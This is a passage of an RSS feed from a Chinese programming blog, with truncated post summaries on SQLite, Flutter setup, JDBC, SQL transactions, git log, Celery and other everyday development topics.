      <description> /*用户输入运算数和四则运算符，输出计算结果*/ #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;conio.h&amp;gt; void main (void) { double a,b,c; char op;//op表示运算符 printf (&#34;请输入两个运算数,空格隔开\n&#34;); scanf (&#34;%lf %lf&#34;,&amp;amp;a,&amp;amp;b); fflush(stdin);//这句话必须要有,清空缓冲区m否则下面的输入操作符的scanf语句无法正常运行 printf (&#34;请输入运算符\n&#34;); scanf (&#34;%c&#34;,&amp;amp;op); switch(op) { case &#39;+&#39;:c=a+b;break; case &#39;-&#39;:c=a-b;break; case &#39;*&#39;:c=a*b;break; case &#39;/&#39;:c=a/b;break; } printf (&#34;计算结果为%lf\n&#34;,c); getch(); } </description>
    </item>
    <item>
      <title>SQLite | Insert、Delete、Updata 与 Drop 语句</title>
      <link>https://bchobby.github.io/posts/4e75f8b8616ff060f58560a3dffca4b8/</link>
      <pubDate>Sun, 08 Mar 2020 00:07:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e75f8b8616ff060f58560a3dffca4b8/</guid>
      <description>文章目录 1. 管理数据1.1 插入数据1.2 多行插入1.3 测试外键1.4 删除数据1.5 更新数据1.6 删除表格 参考资料 1. 管理数据 在上一篇文章中，我们介绍了如何创建一个数据库，充分考虑了表格设计，列限制以及表的关系。而在本文中，我们将学习 INSERT（插入）、DELETE（删除）和 UPDATE（更新）记录，事实上，这些操作比 SELECT 语句更简单。&#xA;1.1 插入数据 在一个关系数据库中，数据只有在接收到记录时才会产生。INSERT 正是将记录插入数据库的语句，你可以选择只选择某几列来添加数据，然后让其他的保留缺失值 null 或者默认值。&#xA;首先我们将会在上一篇文章建立的 SurgeTech 数据库中插入数据，首先导入数据库：&#xA;使用Jupyter Notebook 运行 SQL 语句需安装 ipython-sql&#xA;%sql 以及 %%sql 为在 Notebook 中运行 SQL 语句，在 SQLite 命令行或 SQLite Stiduo 中不需要 %sql 或 %%sql&#xA;载入 SQL 以及连接 SQLite：&#xA;%load_ext sql %sql sqlite:///DataBase/surgetech_conference2.db &#39;Connected: @DataBase/surgetech_conference2.db&#39; 图1 SurgeTech Conference 数据库 Schema 你可以将你的名字插入到数据库中：&#xA;%%sql INSERT INTO attendee (first_name, last_name) VALUES(&#39;Thomas&#39;, &#39;Nield&#39;) * sqlite:///DataBase/surgetech_conference2.</description>
    </item>
    <item>
      <title>Flutter 安装教程 &#43; 运行教程（附带SDK下载）</title>
      <link>https://bchobby.github.io/posts/71375c72e42e2e6933d1dfce0090d100/</link>
      <pubDate>Sat, 07 Mar 2020 21:53:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71375c72e42e2e6933d1dfce0090d100/</guid>
      <description>Flutter - 极速构建漂亮的原生应用 Flutter是谷歌的移动UI框架，可以快速在iOS和Android上构建高质量的原生用户界面。 Flutter可以与现有的代码一起工作。在全世界，Flutter正在被越来越多的开发者和组织使用，并且Flutter是完全免费、开源的。&#xA;快速开发富有表现力和灵活的UI原生性能 1. 工具和相关文档 1.1 相关工具 Windows 7 或更高系统 (64-bit)Git命令行工具 下载Git工具Android Studio 或 VSCode 1.2 相关文档 Flutter中文网，包含教程、文档、示例等。pub.dev，Flutter第三方插件仓库。 建议有稳定的翻墙工具，否则过程可能比较痛苦！&#xA;建议有稳定的翻墙工具，否则过程可能比较痛苦！&#xA;建议有稳定的翻墙工具，否则过程可能比较痛苦！&#xA;2 安装 Flutter SDK Dart SDK 已经捆绑在 Flutter 里，无需再单独安装 Dart。&#xA;2.1 配置国内镜像 国内访问Flutter有时可能会受到限制，Flutter官方为中国开发者搭建了临时镜像，大家可以将如下环境变量加入到用户环境变量中。此镜像为临时镜像，并不能保证一直可用，读者可以参考详情请参考 Using Flutter in China 以获得有关镜像服务器的最新动态。 export PUB_HOSTED_URL=https://pub.flutter-io.cn export FLUTTER_STORAGE_BASE_URL=https://storage.flutter-io.cn 2.2 安装 Flutter SDK 推荐：使用 Git 克隆 Flutter 库到本地。（如克隆到 C:/Flutter 下，不要放在高权限的文件夹下，如 C:\Program Files\，尽量使用英文路径）&#xA;git clone -b stable https://github.com/flutter/flutter.git 其他方法（以下方法鄙人都失败了，运行报错且下载慢，你可以试试）：&#xA;Flutter官网下载其最新可用的安装包，下载Flutter Github 项目去下载安装包 ，前去 在安装目录的文件下找到 flutter_console.</description>
    </item>
    <item>
      <title>Jmeter-之聚合报告详解</title>
      <link>https://bchobby.github.io/posts/e6b92b73566779179164823bdf6bac82/</link>
      <pubDate>Sat, 07 Mar 2020 15:08:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6b92b73566779179164823bdf6bac82/</guid>
      <description>1.Jmeter聚合报告介绍：&#xA;Jmeter聚合报告(Aggregate Report)是性能测试比较常用的监听器(Listener),用来聚合测试过程中请求的响应时长以及相关的百分位数据。&#xA;2.Add Aggregate Report:&#xA;3.聚合报告值详解：&#xA;整体结构如图所示：&#xA;具体参数&#xA;Label：The label of the sample.请求的名称&#xA;#Samples:The number of the samples with the same label(请求的数量)&#xA;Average:The average time of a set of results(该请求的平均响应时长)&#xA;Median:The time in the middle of a set of results(50%的请求响应时长在该时间以内)&#xA;90%Line:90% of the samples took no more than this time(90%的请求响应时长在该时间以内)&#xA;95%Line:95% of the samples took no more than this time(95%的请求响应时长在该时间以内)&#xA;99%Line:99% of the samples took no more than this time(99%的请求响应时长在该时间以内)</description>
    </item>
    <item>
      <title>Matlab画误差线(Error Bar)</title>
      <link>https://bchobby.github.io/posts/7361d633c5bad2d1e8d76ed53f29be1c/</link>
      <pubDate>Sat, 07 Mar 2020 14:27:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7361d633c5bad2d1e8d76ed53f29be1c/</guid>
      <description>Average=[12,11,7,7,6,5]; Variance=[0.5,0.4,0.3,1,0.3,0.5]; Time=0:1:5; errorbar(Time, Average,Variance,&#39;-or&#39;); xlabel(&#39;Time&#39;); ylabel(&#39;Value&#39;); Time是横坐标，Average是○处值，Variance是误差值，有点像蜡烛线的这个就是Variance。&#xA;当然，我们如果希望Error Bar的竖线上下长度不一样，也可以参考如下的例子：&#xA;Average=[12,11,7,7,6,5]; low=[0.5,0.4,0.3,1,0.3,0.5]; high = [0.3,0.2,0.6,0.4,1,0.2]; Time=0:1:5; errorbar(Time, Average,low,high,&#39;-or&#39;); xlabel(&#39;Time&#39;); ylabel(&#39;Value&#39;); low和high两个向量分别给了Bar竖线的下部和上部的长短大小。</description>
    </item>
    <item>
      <title>JDBC及数据库连接池 自用解析</title>
      <link>https://bchobby.github.io/posts/4e35d4e08cf945b4e6d856f0f5ce1bf9/</link>
      <pubDate>Sat, 07 Mar 2020 00:02:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e35d4e08cf945b4e6d856f0f5ce1bf9/</guid>
      <description>JDBC： 1. 概念：Java DataBase Connectivity Java 数据库连接， Java语言操作数据库 * JDBC本质：是一套操作所有关系型数据库的规则，即接口。数据库公司去实现这套接口，提供jar包。我们可以使用这套接口（JDBC）编程，真正执行的代码是驱动jar包中的实现类。 2. 快速入门： * 步骤： 1. 导入驱动jar包 mysql-connector-java-5.1.37-bin.jar 1.1.复制mysql-connector-java-5.1.37-bin.jar到项目的libs目录下 1.2.右键--&amp;gt;Add As Library 2.注册驱动 Class.forName(&#34;com.mysql.jdbc.Driver&#34;); 3.获取数据库连接对象 Connection conn = DriverManager.getConnection(&#34;jdbc:mysql://localhost:3306/db3&#34;, &#34;root&#34;, &#34;root&#34;); 4.定义sql语句 String sql = &#34;update account set balance = 500 where id = 1&#34;; 5.获取执行sql的对象 Statement Statement stmt = conn.createStatement(); 6.执行sql int count = stmt.executeUpdate(sql); 7.处理结果 System.out.println(count); 8.释放资源 stmt.close(); conn.close(); 3. 用到的对象： 1. DriverManager：驱动管理对象 (mysql5之后的驱动jar包可以省略注册驱动) * 功能： 1. 注册驱动：告诉程序该使用哪一个数据库驱动jar static void registerDriver(Driver driver) :注册与给定的驱动程序 DriverManager 。 写代码使用： Class.</description>
    </item>
    <item>
      <title>Java ConcurrentModificationException异常原因和解决方法</title>
      <link>https://bchobby.github.io/posts/3406baf94ecc1f4496fd3f0950dd96cc/</link>
      <pubDate>Fri, 06 Mar 2020 23:09:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3406baf94ecc1f4496fd3f0950dd96cc/</guid>
      <description>Java ConcurrentModificationException异常原因和解决方法 Java ConcurrentModificationException异常原因和解决方法&#xA;在前面一篇文章中提到，对Vector、ArrayList在迭代的时候如果同时对其进行修改就会抛出java.util.ConcurrentModificationException异常。下面我们就来讨论以下这个异常出现的原因以及解决办法。&#xA;以下是本文目录大纲：&#xA;一.ConcurrentModificationException异常出现的原因&#xA;二.在单线程环境下的解决办法&#xA;三.在多线程环境下的解决方法&#xA;若有不正之处请多多谅解，并欢迎批评指正　一.ConcurrentModificationException异常出现的原因 先看下面这段代码：&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;6&#xA;7&#xA;8&#xA;9&#xA;10&#xA;11&#xA;12&#xA;public class Test {&#xA;public static void main(String[] args) {&#xA;ArrayList&amp;lt;Integer&amp;gt; list = new ArrayList&amp;lt;Integer&amp;gt;();&#xA;list.add(2);&#xA;Iterator&amp;lt;Integer&amp;gt; iterator = list.iterator();&#xA;while(iterator.hasNext()){&#xA;Integer integer = iterator.next();&#xA;if(integer==2)&#xA;list.remove(integer);&#xA;}&#xA;}&#xA;}&#xA;运行结果：&#xA;从异常信息可以发现，异常出现在checkForComodification()方法中。&#xA;我们不忙看checkForComodification()方法的具体实现，我们先根据程序的代码一步一步看ArrayList源码的实现：&#xA;首先看ArrayList的iterator()方法的具体实现，查看源码发现在ArrayList的源码中并没有iterator()这个方法，那么很显然这个方法应该是其父类或者实现的接口中的方法，我们在其父类AbstractList中找到了iterator()方法的具体实现，下面是其实现代码：&#xA;1&#xA;2&#xA;3&#xA;public Iterator&amp;lt;E&amp;gt; iterator() {&#xA;return new Itr();&#xA;}</description>
    </item>
    <item>
      <title>SQLite | Join 语句</title>
      <link>https://bchobby.github.io/posts/a58b58893e0afae8ae6f31b0e26a4832/</link>
      <pubDate>Fri, 06 Mar 2020 00:28:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a58b58893e0afae8ae6f31b0e26a4832/</guid>
      <description>文章目录 1. Join1.1 表联合1.2 内联合1.3 左联合1.4 其他联合类型1.5 多表联合1.6 分组联合 参考资料 1. Join 我们在上一篇中介绍了 Case 子句&#xA;，接下来我们将使用 join ，对表格进行合并。&#xA;使用Jupyter Notebook 运行 SQL 语句需安装 ipython-sql&#xA;%sql 以及 %%sql 为在 Notebook 中运行 SQL 语句，在 SQLite 命令行或 SQLite Stiduo 中不需要 %sql 或 %%sql&#xA;载入 SQL 以及连接 SQLite：&#xA;%load_ext sql %sql sqlite:///DataBase/rexon_metals.db &#39;Connected: @DataBase/rexon_metals.db&#39; 本文将使用 rexon_metals.db 数据库，其中包含了 CUSTOMER、CUSTOMER_ORDER 和 PRODUCT 三张表。&#xA;1.1 表联合 Joining 是 SQL 内置的一个子句，但却和其他的子句不同。当我们讨论一个关系数据库时，&#xA;里面通常有着几张表，表与表之间通过某一列数据相联系。举个例子，在这样 CUSTOMER_ORDER&#xA;表中，有这 CUSTOMER_ID 这一列：&#xA;%%sql select * from customer_order limit 0,5; * sqlite:///DataBase/rexon_metals.</description>
    </item>
    <item>
      <title>post请求json字段大写，后端接收不到数据</title>
      <link>https://bchobby.github.io/posts/a15ed9eea7d8d4a89dbf4360e7086c4b/</link>
      <pubDate>Thu, 05 Mar 2020 15:42:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a15ed9eea7d8d4a89dbf4360e7086c4b/</guid>
      <description>和客户对接过程中，发现对方请求的字段都不符合驼峰命名法，例如 OrderNo、User等&#xA;后端接收时一直报错，org.springframework.http.converter.HttpMessageNotReadableException: Could not read JSON: Unrecognized field &#34;Xxxxx&#34;&#xA;面对客户如此无礼的要求，也只能选择默默忍受，在注释里吐槽把字段全改成首字母大写，&#xA;但是还是接收不到，但是标准的驼峰命名法就可以，如orderNo&#xA;原来，JavaBean规范就是规定必须使用驼峰命名法，但是这就没办法了么？并不是&#xA;可能springMVC的开发者们也遇到了这般无礼的要求，所以提供了一种注解的方法&#xA;springMVC使用的是Jackson来解析json格式的请求报文，&#xA;所以可以使用@JsonProperty注解来实现强制要求接受字段，如：&#xA;@JsonProperty(&#34;OrderNo)&#xA;private String orderNo;&#xA;这样就可以接收到了</description>
    </item>
    <item>
      <title>用大白话讲清 -&gt; SQL事务</title>
      <link>https://bchobby.github.io/posts/26fc6d33bb3b39ca527bfe7134593076/</link>
      <pubDate>Wed, 04 Mar 2020 22:56:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26fc6d33bb3b39ca527bfe7134593076/</guid>
      <description>1、何为事务？ 概念：事务执行是一个整体，所有的SQL语句都必须执行成功。如果其中有1条SQL语句出现异常，则所有的SQL语句都要回滚，整个业务执行失败。&#xA;解释：实际开发过程中，很多时候都是要多次访问数据库才能完成的。比如转账，张三有1000块，李四也有1000块。老王转账500元给小王。在实际的操作数据库过程中，就分为两次。第一次是张三账户扣500，第二次是李四账户加500。如果在执行的过程中，张三扣了500，但是李四加500的时候出错了。那么第一条语句执行成功，第二条语句失败，那么500块就凭空消失了。事务就是保证业务没有全部执行成功的时候，能够归滚到最初的状态的一种保证机制。&#xA;2、基本操作 关键词 开启事务–&amp;gt;START TRANSACTION;回滚–&amp;gt;ROLLBACK;提交–&amp;gt;COMMIT;&#xA;（新手小TIPS：SQL语句的关键字尽量使用大写，方便阅读） 实操 掌握基础的SQL增删改查操作即可。根据如下，代码一步一步操作（注意看注释）：&#xA;-- 未开启事务，正常执行 -- 创建数据表 CREATE TABLE account ( id INT PRIMARY KEY AUTO_INCREMENT, NAME VARCHAR(10), balance DOUBLE ); -- 添加数据 INSERT INTO account (NAME, balance) VALUES (&#39;张三&#39;, 1000), (&#39;李四&#39;, 1000); -- 张三账号-500 UPDATE account SET balance = balance - 500 WHERE name=&#39;张三&#39;; -- 李四账号+500 UPDATE account SET balance = balance + 500 WHERE name=&#39;李四&#39;; -- 这样的步骤，正常执行无差错，就是转账成功 -- 未开启事务，异常执行 -- 恢复到各1000元 UPDATE account SET balance = 1000; -- 张三账号-500 UPDATE account SET balance = balance - 500 WHERE name=&#39;张三&#39;; -- 李四账号+500 哈哈哈哈UPDATE account SET balance = balance + 500 WHERE name=&#39;李四&#39;; -- 没有事务的情况下，转账失败，但是张三少了500元 -- 手动开启事务，异常执行 -- 恢复到各1000元 UPDATE account SET balance = 1000; --手动开启事务 START TRANSACTION; -- 张三账号-500 UPDATE account SET balance = balance - 500 WHERE name=&#39;张三&#39;; -- 李四账号+500 哈哈哈哈UPDATE account SET balance = balance + 500 WHERE name=&#39;李四&#39;; -- 回滚 ROLLBACK; -- 转账失败，但是回滚到最初状态，双方资金保护的很好 -- 手动开启事务，正常执行 -- 恢复到各1000元 UPDATE account SET balance = 1000; --手动开启事务 START TRANSACTION; -- 张三账号-500 UPDATE account SET balance = balance - 500 WHERE name=&#39;张三&#39;; -- 李四账号+500 UPDATE account SET balance = balance + 500 WHERE name=&#39;李四&#39;; -- 提交 COMMIT; -- 执行完毕 (新手小TIPS：MySQL默认每一条DML(增删改)语句都是一个单独的事务，每条语句都会自动开启一个事务，语句执行完毕自动提交事务，MySQL默认开始自动提交事务；Oracle默认不开始自动提交)</description>
    </item>
    <item>
      <title>金蝶容器运维指南</title>
      <link>https://bchobby.github.io/posts/82d268ed5a24cdeff58472a7dd7f4042/</link>
      <pubDate>Wed, 04 Mar 2020 20:56:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82d268ed5a24cdeff58472a7dd7f4042/</guid>
      <description>金蝶容器介绍 ​ 在进行28所项目的时候，由于项目国产化的需要，因此AI服务器在开发的过程中必须使用Tomcat、Jetty、Undertow等容器的国产化替代产品，因为国家的政策法规已经将信息安全问题上升到国家的高度，在项目开发过程中使用的产品必须是自主可控、而且源代码安全的。&#xA;​ 金蝶Apusic应用服务器 AAS是应用系统的运行平台，为应用系统提供便捷开发、灵活部署、可靠运行、高效管理及快速集成等关键支撑。支持Java企业级规范和主流应用框架，广泛应用于电子政务和企业核心关键应用。&#xA;​ 28所项目、AI服务器、以及未来的大船项目中，均会采用相同的国产化形态软件，AAS+国产化数据库的应用结构来进行开发，因此结合28所项目、所里AI服务器项目的金蝶容器使用实践，总结以往的经验，温故而知新。把相关金蝶容器的使用经验记录如下。&#xA;AAS架构 技术白皮书 金蝶容器技术白皮书&#xA;应用场景 ​ 电子政务系统、电子商务系统、企业CRM系统等JavaEE应用都需要使用JavaEE应用服务器。&#xA;安装包目录结构 目录结构 较为重要的由两个文件夹，一个是根目录下的文件夹，只要能够较为熟悉的了解两层目录中文件夹和文件的基本含义，即可对容器有初步的理解并且使用。&#xA;Apusic应用目录结构 ​ 在Apusic应用目录结构中较为重要的文件夹为domains文件夹，该文件中包含用户通过bin/config创建的自定义域。我们可以把自己制作的war包或者文件见部署在domains**self-defined-domain**中。&#xA;应用程序部署在APUSIC_HOME\domains\self-defined-domain\applications\目录下，如果不创建自定义域则放置在APUSIC_HOME\domains\mydomain\applications\&#xA;应用目录结构中的具体作用如下表所示&#xA;目录内容adminconsoleApusic管理控制台运行所需文件，如果使用的安装包包含adminconsole，则安装完后adminconsole在此目录中bin一些命令行脚本，通常，您需要修改其中setenv.cmd(setenv)文件，将其中JAVA_HOME设置为正确的JVM所在目录classes服务器运行时，会将此目录置为系统CLASSPATH最前端，默认情况下，此目录为空common服务器运行时，会将此目录中的jar包(含zip)置于系统CLASSPATH中，位于sp目录中的jar包之后，lib目录中的jar包之前lib服务器运行时，会将此目录中的jar包(含zip)置于系统CLASSPATH中，位于common目录中的jar包之后sp补丁程序所在位置，服务器运行时，会将此目录中的jar包(含zip)置于系统CLASSPATH中，位于classes目录之后，common目录中的jar包之前; 默认情况下，此目录为空domainsApusic应用服务器的域，见[下表](file:///C:/Users/宋姗姗/Desktop/宋姗姗/AAS-V9.0_2019-1-7/readme.html#table2)。src一些第三方jar包的源码包templates创建domain时所用到的模板tools包含管控api文档，以及工具脚本和readme.txt说明文档 注意：在tools文件中包含了许多的非交互式脚本，用来简化AAS容器的全局配置。&#xA;tools非交互式脚本介绍&#xA;域目录结构 ​ Apusic应用服务器的域信息保存在APUSIC_HOME/domains目录下，每个域的信息保存在同名的子目录中，安装服务器后domains目录下包含预定义的mydomain域。mydomain中的子目录及子目录描述如下表：&#xA;目录内容applications凡放到此文件夹中的ear、war、rar等符合J2EE规范的文件或文件夹，都会被自动部署到Apusic应用服务器上bin一些命令行脚本，通常，您需要运行其中startapusic.cmd(startapusic)脚本来启动Apusic应用服务器config服务器中的数据库连接池、web服务器、JMS服务、日志服务等相关配置文件、负载均衡示例配置文件等deploy服务器从未运行过时，此目录不存在，当服务器启动以后，会自动创建此文件夹。此文件夹中放置了应用系统运行时所产生的一些中间过程文件，譬如，由jsp文件生成的servlet等lib允许用户在这里放置一些公用的jar包(譬如数据库JDBC Driver等)，此文件夹中的jar包(含zip)会自动置于系统CLASSPATH的尾部logs服务器日志文件store系统用户存储文件，JMS消息存储文件等 ​ APUSIC_HOME/domains目录下还包含预定义的samples域，samples域预部署了若干个示例应用，用以演示JavaEE5的最新技术。samples域的目录结构与mydomain基本一致，但多了一个src目录，存放示例应用的源代码及构建脚本。&#xA;证书 ​ 由于AAS的运行是付费的，因此必须从金蝶获取符合时间的证书，当前可用的证书如下：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;license /&amp;gt; 把该证书置于根目录下即可&#xA;\AAS-V9.0_2019-1-7&#xA;若证书时间过期，则在运行时会弹出如下的问题：&#xA;Linux管理 ​ 金蝶容器与Tomcat容器一样，zip安装包支持Windos和Linux环境下运行。在启动运行程序时，在mydomains\applications文件夹中&#xA;在上述的行文以及下述的行文中，并不创建自定义域，而仅仅使用预先安装的mydomain域来演示程序。&#xA;使用如下的脚本来控制应用程序的启停。&#xA;由于Windows和Linux端应用程序的管理别无二致，Linux端金蝶的使用是日后工作的重点，因此如下使用Linux端来演示应用程序的启停管理&#xA;配置应用端口 我们可以采用如下的方式创建一个新的域，较为重要步骤是要确定域监听的的端口和SSL端口。&#xA;创建域使用config脚本，该脚本位于APUSIC_HOME\config,其他以默认方式执行即可。该行命令执行完毕，则可以在APUSIC_HOME\domains目录下看见自定义的域。&#xA;windos环境创建域 C:\Users\AAS-V9.0_2019-1-7\bin&amp;gt;config.cmd Using APUSIC_ENDORSED_DIRS: C:\Users\AAS-V9.0_2019-1-7\lib\endorsed ----------------------------------------------------------- | 欢迎进入Apusic域配置向导 | | 版本 :Apusic Application Server 9.0 | | | | 深圳市金蝶中间件有限公司 | | 版权所有 | ----------------------------------------------------------- 选择任务 .</description>
    </item>
    <item>
      <title>antdesign vue 清空日期框(a-range-picker，a-date-picker)</title>
      <link>https://bchobby.github.io/posts/8b66430def97e25bfb91e238cfa1de1c/</link>
      <pubDate>Wed, 04 Mar 2020 19:48:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b66430def97e25bfb91e238cfa1de1c/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;a-date-picker @change=&#34;onChange&#34; v-model=&#34;timeValue&#34; /&amp;gt; &amp;lt;button @click=&#34;quxiao&#34;&amp;gt;quxiao&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; v-model 绑定一个值&#xA;在data中定义&#xA;data(){ return { timeValue: undefined, } }, 在清空事件中&#xA;quxiao(){ this.timeValue=undefined; } v-model 搭配一个undefined的值 大部分antdesign 都可清空选中的值,经过多次实验有的 值绑定为空的话有的可以清空有的不行,推荐undefined&#xA;代码:</description>
    </item>
    <item>
      <title>elementUI的el-table表格自定义表头slot-scope=“scope“&#43;eslint报错</title>
      <link>https://bchobby.github.io/posts/7f4dee45c9bb13083b5d807fd8ba5794/</link>
      <pubDate>Wed, 04 Mar 2020 18:02:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f4dee45c9bb13083b5d807fd8ba5794/</guid>
      <description>网上看了不少人的回答，都让我无语，把eslint取消也算一个办法？？&#xA;还有人说删掉slot-scope=&#34;scope&#34;，您会前端吗，删掉之后eslint是不报错了，你看看你那自定义表头还好使吗？？&#xA;上代码，在这行之前增加一句注释，目的是取消下一行的eslint规范检索。&#xA;&amp;lt;!-- eslint-disable-next-line --&amp;gt; &amp;lt;el-table-column align=&#34;center&#34; prop=&#34;name&#34; :show-overflow-tooltip=&#34;true&#34; width=&#34;300&#34; &amp;gt; &amp;lt;!-- eslint-disable-next-line --&amp;gt; &amp;lt;template slot=&#34;header&#34; slot-scope=&#34;scope&#34;&amp;gt; &amp;lt;el-input v-model=&#34;search&#34; size=&#34;mini&#34; placeholder=&#34;输入关键字搜索&#34; /&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-table-column&amp;gt; 这回皆大欢喜了。&#xA;2020.9月补充&#xA;如果是js中需要取消下一行的eslint检索，就换js的注释格式 // 再加上那行字就好了&#xA;大家要举一反三学会变通哦</description>
    </item>
    <item>
      <title>百度云盘无法安装，点击一闪而过，双击无反应</title>
      <link>https://bchobby.github.io/posts/6a96372fff58426238150b73b1176072/</link>
      <pubDate>Wed, 04 Mar 2020 13:53:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a96372fff58426238150b73b1176072/</guid>
      <description> 重新换电脑后，下载百度网盘安装，发现安装没有反应，查看应用程序，在后台运行， 找原因发现他只是把它压缩成一个压缩软件，直接解压就可以了。 把百度网盘的EXE程序解压到一个新建的文件夹，鼠标右键BaiduNetdisk.exe 把它发送到桌面快捷方式，双击快捷方式就可以使用了。 </description>
    </item>
    <item>
      <title>latex：解决txt生成bib文件</title>
      <link>https://bchobby.github.io/posts/34591f7af8da9e98292a43c047dac078/</link>
      <pubDate>Wed, 04 Mar 2020 13:29:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34591f7af8da9e98292a43c047dac078/</guid>
      <description>**写前注：**这是我写的第一个博客，希望能帮到需要的人。作为一个新手，以前很少用这个bib生成参考文献，忽然有个期刊要求。开始以为很简单，结果摸索了大半宿，问题就不陈述了，主要说解决的方案。人生真理：任何事不要以为简单，做了才知辛酸。&#xA;bib 文件是latex插入参考文献的重要工具，建立bib文件的步骤如下：&#xA;第一步：建立txt文件，并将BIBTex文件可以copy到里面，不过最好是先将bib格式的记事本文件建立了之后才copy文献，在Google中可以copy&#xA;第二步：打开WinEdt，然后open—找到建立的txt文件----在另存为（save as）----格式选择BIBTEX—这样保存的文件就是bib格式的文件。在这个记事本文件下，鼠标右键—属性—就可以查看文件的格式（后缀名），从之前的.txt变成了.bib。这样就ok了。网上有些说，如百度经验说在记事本文件下右键—打开方式—选择WinEdt打开。但在我电脑上就怎么也找不到WinEdt打开方式，最后用上述方法成功了。&#xA;第三步：建立文件filename.bib后，把文件名放在WinEdt中，注意在文件必须包含下面代码：&#xA;\bibliographystyle{ACM-Reference-Format}&#xA;\bibliography{filename}&#xA;把这两行代码放在参考文献的位置，一般是appendix前。前一行代码是说参考文献的格式，每个期刊的格式不一样，上面的格式是ACM的。如果没有特殊格式规定，一般是plain。后一行代码是说引用的参考文献的文件-filename。特别注意，这个文件名最好不要有空格以及不要在filename中加后缀，即filename.bib。这样都有可能报错。&#xA;第四步：运行。要运行四次，LaTeX—B（BIBTEX，在WinEdt中是B字母，就在L（LaTeX）健旁边）—LaTeX—LaTeX。运行顺序不要错了。</description>
    </item>
    <item>
      <title>Celery基本介绍</title>
      <link>https://bchobby.github.io/posts/4cc467c0df26b30da263966f3fb4d7a5/</link>
      <pubDate>Wed, 04 Mar 2020 11:43:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cc467c0df26b30da263966f3fb4d7a5/</guid>
      <description>文章目录 Celery架构及介绍Celery的优点版本支持情况使用场景 Celery架构及介绍 项目开发中经常碰到需要使用异步任务的场景，比如一个WEB请求中有运行时间很长的业务运算，如果不采用异步任务，会阻塞当前的web请求，影响用户体验&#xA;Celery的架构由三部分组成，消息中间件（message broker），任务执行单元（worker） 和 任务执行结果存储（task result store） 组成&#xA;消息中间件&#xA;Celery本身不提供消息服务，但是可以方便的和第三方提供的消息中间件集成。包括，RabbitMQ, Redis等等&#xA;任务执行单元&#xA;Worker是Celery提供的任务执行的单元，worker并发的运行在分布式的系统节点中。&#xA;任务结果存储&#xA;Task result store用来存储Worker执行的任务的结果，Celery支持以不同方式存储任务的结果，包括AMQP, redis等&#xA;Celery的优点 1、简单：一单熟悉了celery的工作流程后，配置和使用还是比较简单的&#xA;2、高可用：当任务执行失败或执行过程中发生连接中断，celery 会自动尝试重新执行任务&#xA;3、快速：一个单进程的celery每分钟可处理上百万个任务&#xA;4、灵活： 几乎celery的各个组件都可以被扩展及自定制&#xA;版本支持情况 Celery version 4.0 runs on Python ❨2.7, 3.4, 3.5❩ PyPy ❨5.4, 5.5❩ This is the last version to support Python 2.7, and from the next version (Celery 5.x) Python 3.5 or newer is required. If you’re running an older version of Python, you need to be running an older version of Celery: Python 2.</description>
    </item>
    <item>
      <title>git log常用命令</title>
      <link>https://bchobby.github.io/posts/b6e4d560e65e5cca6e2cd9984051dfb7/</link>
      <pubDate>Tue, 03 Mar 2020 23:24:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6e4d560e65e5cca6e2cd9984051dfb7/</guid>
      <description>使用git log命令可以查看提交历史，代码如下：&#xA;$ git log git log指令不加其他参数，可以列出所有历史提交，分析如下：&#xA;按照提交的时间（从上到下）顺序排列，最上面为最新提交的。commit后面是经过SHA-1加密算法对此次提交计算的结果，可以唯一标识此次提交（重复的可能性可以忽略不计）。Author后面分别是提交的用户名和电子邮件地址，它们之间用空格分隔。Date后面是提交的时间日期。Date垂直的下方中间以空格分隔的是提交信息说明。 1、查看最近的n此提交： $ git log -n 2、 查看指定文件名的提交历史记录： 查看readme.txt文件的历史提交记录，如果多个文件，以空格分隔。&#xA;$ git log readme.txt 3、查看指定目录下文件提交历史记录: $ git log dir/ 4、查看指定分支或者标签历史提交记录: 查看标签标签v2.0之后的历史提交记录（不包含v2.0）：&#xA;$ git log v2.0.. 查看master分支历史提交记录，但是不包含ant分支历史记录：&#xA;$ git log ant..master 查看ant分支历史提交记录，但是不包含master分支历史记录：&#xA;$ git log master..ant 查看master分支或者ant分支的历史提交记录：&#xA;$ git log master...ant 5、查询commit提交历史提交记录： 查看commit之前的历史提交记录（包含commit自身）。&#xA;$ git log commit 查看commit1与commit2之间的历史提交记录（包括两者）。&#xA;$ git log commit1 commit2 查看commit1与commit2之间的历史提交记录（不包括commit1）。&#xA;$ git log commit1..commit2 6、按照日期查看提交历史记录： （1）--after=xxx&#xA;显示2020-3-3之后的commit(包含3月3号)。日期还可以是相对日期，比如&#34;1 week ago&#34;和”yesterday&#34;。与--since功能相同。&#xA;$ git log --after=&#34;</description>
    </item>
    <item>
      <title>YARN 配置文件 capacity-scheduler.xml 参数解读</title>
      <link>https://bchobby.github.io/posts/e43be363661e2e5fd79b10c86105cc56/</link>
      <pubDate>Tue, 03 Mar 2020 20:40:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e43be363661e2e5fd79b10c86105cc56/</guid>
